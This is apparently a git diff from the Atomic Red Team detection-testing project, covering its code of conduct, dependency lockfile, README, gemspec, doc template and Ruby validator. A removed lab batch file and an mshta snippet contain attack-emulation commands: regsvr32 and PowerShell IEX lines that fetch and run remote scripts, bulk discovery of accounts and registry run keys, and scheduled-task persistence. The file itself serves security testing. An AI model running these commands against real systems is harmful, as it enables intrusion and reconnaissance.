```
## MSHTA spawning CMD
Mshta spawns child process of calc.exe.
```
// Type Three
// Child of mshta.exe
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
```
-36
View File
@@ -1,36 +0,0 @@
:: Basic Test Lab One
:: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct
::
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
:: NOTE We recommend executing from a server that you control.
:: NOTE Thank You :)
:: Lab Two
:: Chain Reactions - Chaining Multiple ATOMIC Test
:: Lets have some fun shall we ;-)
:: Techniques rarely occur in isolation
:: In the Attack Lets combine 3 Techniques
:: You can customize tests
:: Step 1. A payload executes Regsvr32.exe as seen in Lab One T1117
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
:: Step 2. This payload will execute an discovery sequence T1087
:: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat
:: Alternate Endings ;-) => powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat')"
net user Administrator /domain & net Accounts & net localgroup administrators & net use & net share & net group "domain admins" /domain & net config workstation & net accounts & net accounts /domain & net view & reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce & reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices & reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices & reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify & reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit & reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell & reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell & reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run & reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run & reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce & reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run & reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run & wmic useraccount list & wmic useraccount get /ALL & wmic startup list brief & wmic share list & wmic service get name,displayname,pathname,startmode & wmic process list brief & wmic process get caption,executablepath,commandline & wmic qfe get description,installedOn /format:csv & arp -a & "cmd.exe" /C whoami & ipconfig /displaydns & route print & netsh advfirewall show allprofiles & systeminfo & qwinsta & quser
:: Step 3. We will setup some persistence by creating a scheduled task. T1053
:: Alternate Ending : SCHTASKS /Create /SC ONCE /TN spawn /TR "regsvr32.exe /s /u /i:https://example.com/a.sct scrobj.dll" /ST 20:10
SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10
:: We will also just go ahead and clean up the task.
SCHTASKS /Delete /TN Spawn /F
-1
View File
@@ -1 +0,0 @@
Downloaded Remote Content
+38 -22
View File
@@ -1,42 +1,58 @@
# Contributor Covenant Code of Conduct
# Contributor Code of Conduct
## Our Pledge
Welcome to the [Atomic Red Team online community](https://atomicredteam.io/). Our goal is to foster an open, safe, and welcoming environment. As a collective, we—as contributors, maintainers, and the Open Source Projects team of Red Canary—pledge to encourage our project and community to be a harassment-free space. We invite you to collaborate, exchange thoughts or information, and engage with one another. Atomic Red Team is meant for everyone, regardless of age, personal appearance, body size, disability, nationality, race, ethnicity, gender identity and expression, level of experience or academics, religion, or sexual identity and orientation.
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Guidelines
## Our Standards
### Acceptable Behavior
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Using welcoming and inclusive language. Some people [use different pronouns](https://www.npr.org/2021/06/02/996319297/gender-identity-pronouns-expression-guide-lgbtq)— please respect all pronouns.
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
* Focusing on what is best for the community and what supports engagement
* Showing compassion and understanding towards other community members
Examples of unacceptable behavior by participants include:
### Unacceptable Behavior
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
* Unacceptable behaviors include: [intimidating, harassive, abusive, discriminatory, derogatory or demeaning conduct](https://www.doi.gov/employees/anti-harassment/definitions) by any one in the community
* Harassment includes: offensive verbal comments related to (but not limited to) age, personal appearance, body size, disability, nationality, race, ethnicity, gender identity and expression, level of experience or academics, religion, or sexual identity and orientation, or other protected category; inappropriate deliberate intimidation, stalking or following; inappropriate direct messages, and unwelcome sexual attention, imagery, or language
* Written, verbal or other abuse, [trolling](https://dictionary.cambridge.org/us/dictionary/english/trolling), intimidation, threats, annoyance, harassment, stalking, and/or spamming against any person, which in any way creates a disturbance that is disruptive or dangerous, or creates apprehension in a person
* Harassing individuals in a public or private form.
* Publishing others' private information, such as a physical or email address, without explicit permission
* Other conduct that could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
## Reporting
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
If you see anything that you believe breaks our community guidelines, no matter if its privately or publicly witnessed, please reach out to the **Red Canary Open Source Team** at [email](mailto:opensource@redcanary.com) with screenshots of the post/text and a link to the post or comments.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Enforcement & Consequences
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the Community Manager. Unacceptable behavior will not be tolerated by community members, maintainers, and Red Canary team members. The Atomic Red Team Community Manager and maintainers will review and investigate all complaints.
Anyone asked to stop unacceptable behavior is expected to comply immediately. If an Atomic Red Team community member (anyone contributing to our [GitHub Repo](https://github.com/redcanaryco/atomic-red-team) or [Community Slack](https://atomicredteam.io/slack)) engages in unacceptable behavior, the Community Manager may take any temporary or permanent action they deem appropriate, up to and including immediate expulsion from the Atomic Red Team community without warning.
Atomic Red Team maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Managers & Maintainers Responsibilities
Atomic Red Team Community Managers are responsible for upholding the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Atomic Red Team Maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or that they otherwise deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
This Code of Conduct applies to all of the Atomic Red Team, and “Atomic Family,” project spaces, including public spaces where an individual is representing the project or its community. Examples of representing the project or community include using an official project e-mail address, posting an official social media account, or acting as an appointed representative at an online or offline event.
## Enforcement
* [Atomic Red Team Website](https://atomicredteam.io/)
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at research at redcanary.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
* [Atomic Red Team Slack](https://atomicredteam.io/slack)
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
* [Atomic Red Team GitHub](https://github.com/redcanaryco/atomic-red-team)
* **Atomic Family**
* [Invoke-AtomicRedTeam](https://github.com/redcanaryco/invoke-atomicredteam)
* [AtomicTestHarnesses](https://github.com/redcanaryco/atomictestharnesses)
* [Chain Reactor](https://github.com/redcanaryco/chain-reactor)
## Attribution
-267
View File
@@ -1,267 +0,0 @@
PATH
remote: .
specs:
atomic-red-team (1.0)
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.3.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.7)
dnsruby (1.61.5)
simpleidn (~> 0.1)
em-websocket (0.5.2)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.12.0)
ffi (>= 1.3.0)
eventmachine (1.2.7)
execjs (2.7.0)
faraday (1.1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords
ffi (1.13.1)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (209)
github-pages-health-check (= 1.16.1)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.2)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.6.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.0)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.23.0)
terminal-table (~> 1.4)
github-pages-health-check (1.16.1)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (~> 3.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 0.7)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.2)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.0)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.3.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.4.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.2)
multipart-post (2.1.1)
nokogiri (1.10.10)
mini_portile2 (~> 2.4.0)
octokit (4.19.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (3.1.1)
rb-fsevent (0.10.4)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.4)
rouge (3.23.0)
ruby-enum (0.8.0)
i18n
ruby2_keywords (0.0.2)
rubyzip (2.3.0)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simpleidn (0.1.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.8)
thread_safe (~> 0.1)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
zeitwerk (2.4.1)
PLATFORMS
ruby
DEPENDENCIES
atomic-red-team!
github-pages
BUNDLED WITH
1.17.3
+28 -42
View File
@@ -1,59 +1,45 @@
<p><img src="https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png" width="150px" /></p>
# Atomic Red Team
[![CircleCI](https://circleci.com/gh/redcanaryco/atomic-red-team.svg?style=svg)](https://circleci.com/gh/redcanaryco/atomic-red-team)
Atomic Red Team allows every security team to test their controls by executing simple
"atomic tests" that exercise the same techniques used by adversaries (all mapped to
[Mitre's ATT&CK](https://attack.mitre.org)).
![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/validate-atomics.yml/badge.svg?branch=master) ![Atomics](https://img.shields.io/badge/Atomics-1773-flat.svg) ![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/generate-docs.yml/badge.svg?branch=master)
## Philosophy
Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are
focused, have few dependencies, and are defined in a structured format that can be used by automation frameworks.
Atomic Red Team is a library of tests mapped to the
[MITRE ATT&CK®](https://attack.mitre.org/) framework. Security teams can use
Atomic Red Team to quickly, portably, and reproducibly test their environments.
Three key beliefs made up the Atomic Red Team charter:
- **Teams need to be able to test everything from specific technical controls to outcomes.**
Our security teams do not want to operate with a “hopes and prayers” attitude toward detection. We need to know
what our controls and program can detect, and what it cannot. We dont have to detect every adversary, but we
do believe in knowing our blind spots.
## Get started
- **We should be able to run a test in less than five minutes.**
Most security tests and automation tools take a tremendous amount of time to install, configure, and execute.
We coined the term "atomic tests" because we felt there was a simple way to decompose tests so most could be
run in a few minutes.
You can execute atomic tests directly from the command line, no installation
required. See the [Getting started](https://github.com/redcanaryco/atomic-red-team/wiki/Getting-Started)
page of our wiki.
The best test is the one you actually run.
For a more robust testing experience, consider using an execution framework like
[Invoke-Atomic](https://github.com/redcanaryco/invoke-atomicredteam).
- **We need to keep learning how adversaries are operating.**
Most security teams dont have the benefit of seeing a wide variety of adversary types and techniques crossing
their desk every day. Even we at Red Canary only come across a fraction of the possible techniques being used,
which makes the community working together essential to making us all better.
## Learn more
See: https://atomicredteam.io
The Atomic Red Team documentation is available as a [wiki](https://github.com/redcanaryco/atomic-red-team/wiki/).
## Having trouble?
For information about the philosophy and development of Atomic Red Team, visit
our website at <https://atomicredteam.io>.
Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com)
To stay up to date on all things Atomic Red Team, sign up for the Atomic Newsletter: https://redcanary.com/atomic-newsletter/
## Getting Started
## Contribute to Atomic Red Team
* [Getting Started With Atomic Red Team](https://github.com/redcanaryco/atomic-red-team/wiki/About-Atomic-Red-Team)
* Automated Test Execution with the [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/wiki/Executing-Atomic-Tests#execute-an-atomic-test-with-an-execution-framework)
* Peruse the Complete list of Atomic Tests ([md](atomics/Indexes/Indexes-Markdown/index.md), [csv](atomics/Indexes/Indexes-CSV/index.csv)) and the [ATT&CK Matrix](atomics/Indexes/Matrices/matrix.md)
- Windows [Matrix](atomics/Indexes/Matrices/windows-matrix.md) and tests by tactic ([md](atomics/Indexes/Indexes-Markdown/windows-index.md), [csv](atomics/Indexes/Indexes-CSV/windows-index.csv))
- MacOS [Matrix](atomics/Indexes/Matrices/macos-matrix.md) and tests by tactic ([md](atomics/Indexes/Indexes-Markdown/macos-index.md), [csv](atomics/Indexes/Indexes-CSV/macos-index.csv))
- Linux [Matrix](atomics/Indexes/Matrices/linux-matrix.md) and tests by tactic ([md](atomics/Indexes/Indexes-Markdown/linux-index.md), [csv](atomics/Indexes/Indexes-CSV/linux-index.csv))
* Using [ATT&CK Navigator](https://github.com/mitre-attack/attack-navigator)? Check out our coverage layers ([All](atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json), [Windows](atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json), [MacOS](atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json), [Linux](atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json))
* [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) your own modifications
* Have questions? Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com)
* Need a Slack invitation? Grab one at [https://slack.atomicredteam.io/](https://slack.atomicredteam.io/)
Atomic Red Team is open source and community developed. If you're interested in
becoming a contributor, check out these resources:
## Code of Conduct
- Join our [Slack workspace](https://atomicredteam.io/slack) and get involved
with the community. Don't forget to review the [code of conduct](CODE_OF_CONDUCT.md)
before you join.
- Report bugs and request new features by [submitting an issue](https://github.com/redcanaryco/atomic-red-team/issues/new/choose).
- Read our [contribution guide](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
for more information about contributing directly to this repository.
- Check the [license](LICENSE.txt) for information regarding the distribution
and modification of Atomic Red Team.
- Contribute to linux atomics quickly from GitHub Codespaces. For more details, click [here](https://github.com/redcanaryco/atomic-red-team/wiki/Github-Codespaces)
In order to have a more open and welcoming community, Atomic Red Team adheres to a
[code of conduct](CODE_OF_CONDUCT.md).
## License
See the [LICENSE](https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt) file.
[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/redcanaryco/atomic-red-team)
+2 -2
View File
@@ -3,7 +3,7 @@ Gem::Specification.new do |s|
s.name = 'atomic-red-team'
s.version = '1.0'
s.authors = ['Red Canary', 'Casey Smith', 'Mike Haag']
s.email = ['it@redcanary.com', 'casey.smith@redcanary.com', 'mike.haag@redcanary.com']
s.email = ['it@redcanary.com', 'opensource@redcanary.com']
s.summary = 'Small, highly portable, community developed detection tests mapped to ATT&CK.'
s.license = "MIT"
s.homepage = "https://redcanary.com/atomic-red-team"
@@ -12,4 +12,4 @@ Gem::Specification.new do |s|
s.require_paths = %w(atomic_red_team)
s.add_development_dependency 'github-pages'
end
end
View File
+32 -32
View File
@@ -1,20 +1,20 @@
# <%= technique['identifier'] %> - <%= technique['name'] -%>
# <%= technique['identifier'] %> - <%= technique['name'] %>
## [Description from ATT&CK](https://attack.mitre.org/techniques/<%= technique['identifier'].gsub(/\./, '/') %>)
<blockquote><%= technique['description'] %></blockquote>
## Description from ATT&CK
<% attack_description_lines = technique['description'].gsub("%\\<", "%<").gsub(/<code>.*?<\/code>/) { |match| match.gsub('~', '\~') } %>
<% attack_description_lines.lines.each do |desc_line| %>> <%= desc_line.strip %>
<% end %>
[Source](https://attack.mitre.org/techniques/<%= technique['identifier'].gsub(/\./, '/') %>)
## Atomic Tests
<% atomic_yaml['atomic_tests'].each_with_index do |test, test_number| -%>
<% title = "Atomic Test ##{test_number+1} - #{test['name']}" %>
- [<%= title %>](#<%= title.downcase.gsub(/ /, '-').gsub(/[`~!@#$%^&*()+=<>?,.\/:;"'|{}\[\]\\–—]/, '') %>)
<% title = "Atomic Test ##{test_number+1}: #{test['name']}" %>- [<%= title %>](#<%= title.downcase.gsub(/ /, '-').gsub(/[`~!@#$%^&*()+=<>?,.\/:;"'|{}\[\]\\–—]/, '') %>)
<% end %>
<% atomic_yaml['atomic_tests'].each_with_index do |test, test_number| -%>
<br/>
## Atomic Test #<%= test_number+1 %> - <%= test['name'] %>
<%= test['description'].strip -%>
### Atomic Test #<%= test_number+1 %>: <%= test['name'] %>
<%= test['description'].strip %>
**Supported Platforms:** <%= test['supported_platforms'].collect do |p|
case p
@@ -25,13 +25,14 @@
end
end.join(', ') %>
**auto_generated_guid:** `<%= test['auto_generated_guid'] %>`
<%def cleanup(input)
input.to_s.strip.gsub(/\\/,"&#92;")
end%>
end -%>
<% if test['input_arguments'].to_a.count > 0 %>
#### Inputs:
| Name | Description | Type | Default Value |
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
<% test['input_arguments'].each do |arg_name, arg_options| -%>
| <%= cleanup(arg_name) %> | <%= cleanup(arg_options['description']) %> | <%= cleanup(arg_options['type']) %> | <%= cleanup(arg_options['default']) %>|
@@ -39,13 +40,11 @@ end%>
<% end -%>
<%- if test['executor']['name'] == 'manual' -%>
#### Run it with these steps! <%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin) <%- end -%>
#### Attack Commands: Run it with these steps! <%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin) <%- end -%>
<%= test['executor']['steps'] %>
<%- else -%>
#### Attack Commands: Run with `<%= test['executor']['name'] %>`! <%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin) <%- end -%>
#### Attack Commands: Run with `<%= test['executor']['name'] %>`!<%- if test['executor']['elevation_required'] -%> Elevation Required (e.g. root or admin)<%- end -%>
<%def get_language(executor)
language = executor
if executor == "command_prompt"
@@ -62,30 +61,31 @@ end%>
<%- end -%>
<%- if test['executor']['cleanup_command'] != nil -%>
#### Cleanup Commands:
#### Cleanup Commands
```<%= get_language(test['executor']['name']) %>
<%= test['executor']['cleanup_command'].to_s.strip %>
```
<%- end -%>
<% end -%>
<% if test['dependencies'].to_a.count > 0 -%>
<% dependency_executor = test['executor']['name'] -%>
<% if test['dependencies'].to_a.count > 0 %>
<% dependency_executor = test['executor']['name'] %>
#### Dependencies: Run with `<%- if test['dependency_executor_name'] != nil%><% dependency_executor = test['dependency_executor_name'] %><%= test['dependency_executor_name'] %><%- else -%><%= test['executor']['name'] %><%- end -%>`!
#### Dependencies: Run with `<%- if test['dependency_executor_name'] != nil%><% dependency_executor = test['dependency_executor_name'] %><%= test['dependency_executor_name'] %><%- else -%><%= test['executor']['name'] %><%- end -%>`!
<% test['dependencies'].each do | dep | -%>
##### Description: <%= dep['description'].strip %>
##### Check Prereq Commands:
###### Check Prereq Commands
```<%= get_language(dependency_executor) %>
<%= dep['prereq_command'].strip %>
<%= dep['prereq_command'].strip %>
```
##### Get Prereq Commands:
###### Get Prereq Commands
```<%= get_language(dependency_executor) %>
<%= dep['get_prereq_command'].strip %>
```
<% end %>
<% end -%>
<% end -%>
<br/>
<%- end -%>
+29 -6
View File
@@ -29,6 +29,29 @@ class AtomicRedTeam
end
end
#
# Returns the individual Atomic Tests for a given identifer, passed as either a string (T1234) or an ATT&CK technique object
#
def atomic_tests_for_technique_by_platform(technique_or_technique_identifier, platform)
technique_identifier = if technique_or_technique_identifier.is_a? Hash
ATTACK_API.technique_identifier_for_technique technique_or_technique_identifier
else
technique_or_technique_identifier
end
test_list = Array.new
atomic_tests.find do |atomic_yaml|
if atomic_yaml.fetch('attack_technique').upcase == technique_identifier.upcase
atomic_yaml['atomic_tests'].each do |a_test|
if a_test["supported_platforms"].include?(platform[:platform])
test_list.append(a_test)
end
end
end
end
test_list
end
#
# Returns the individual Atomic Tests for a given identifer, passed as either a string (T1234) or an ATT&CK technique object
#
@@ -55,18 +78,18 @@ class AtomicRedTeam
yaml_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.yaml"
markdown_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.md"
if atomic_yaml_has_test_for_platform(yaml_file, only_platform) && (File.exists? markdown_file)
if atomic_yaml_has_test_for_platform(yaml_file, only_platform) && (File.exist? markdown_file)
# we have a file for this technique, so link to it's Markdown file
"[#{link_display}](../../#{technique_identifier}/#{technique_identifier}.md)"
else
# we don't have a file for this technique, or there are not tests for the given platform, so link to an edit page
"#{link_display} [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)"
"#{link_display} [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)"
end
end
def atomic_yaml_has_test_for_platform(yaml_file, only_platform)
has_test_for_platform = false
if File.exists? yaml_file
if File.exist? yaml_file
yaml = YAML.load_file(yaml_file)
yaml['atomic_tests'].each_with_index do |atomic, i|
if atomic["supported_platforms"].any? {|platform| platform.downcase =~ only_platform}
@@ -108,7 +131,7 @@ class AtomicRedTeam
raise("`atomic_tests[#{i}].supported_platforms` element is required") unless atomic.has_key?('supported_platforms')
raise("`atomic_tests[#{i}].supported_platforms` element must be an Array (was a #{atomic['supported_platforms'].class.name})") unless atomic['supported_platforms'].is_a?(Array)
valid_supported_platforms = ['windows', 'macos', 'linux']
valid_supported_platforms = ['windows', 'macos', 'linux', 'office-365', 'azure-ad', 'google-workspace', 'saas', 'iaas', 'containers', 'iaas:aws', 'iaas:azure', 'iaas:gcp']
atomic['supported_platforms'].each do |platform|
if !valid_supported_platforms.include?(platform)
raise("`atomic_tests[#{i}].supported_platforms` '#{platform}' must be one of #{valid_supported_platforms.join(', ')}")
@@ -142,7 +165,7 @@ class AtomicRedTeam
raise("`atomic_tests[#{i}].executor.name` element must be a string") unless executor['name'].is_a?(String)
raise("`atomic_tests[#{i}].executor.name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/
valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual']
